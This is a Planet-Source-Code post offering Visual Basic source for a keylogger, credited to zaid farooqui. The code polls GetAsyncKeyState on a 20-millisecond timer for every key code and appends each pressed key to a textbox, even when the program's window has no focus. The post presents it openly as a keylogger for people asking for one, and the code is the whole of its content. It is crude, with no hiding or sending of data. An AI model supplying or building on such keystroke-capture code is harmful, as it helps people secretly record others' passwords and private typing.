Best Keylogger on PLANET-SOURCE-CODE
I have been hearing requests for people begging someone to get a keylogger which records logged keys when the form is not focuesed. well here is the code which takes any keys pressed and puts it into a textbox even when the form is not given the focus!!
Original Author: zaid farooqui
Assumptions
Put a textbox, timer with 20 milleseconds intervals
take all defualt names
Paste the following code in the general declaration section of you code..
Code
Dim results As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
For i = 1 To 255
results = 0
results = GetAsyncKeyState(i)
If results <> 0 Then
Text1.Text = text1.text & Chr(i)
End If
Next
End Sub
Loading Comments ...
Comments
No comments have been added for this post.
You must be logged in to make a comment.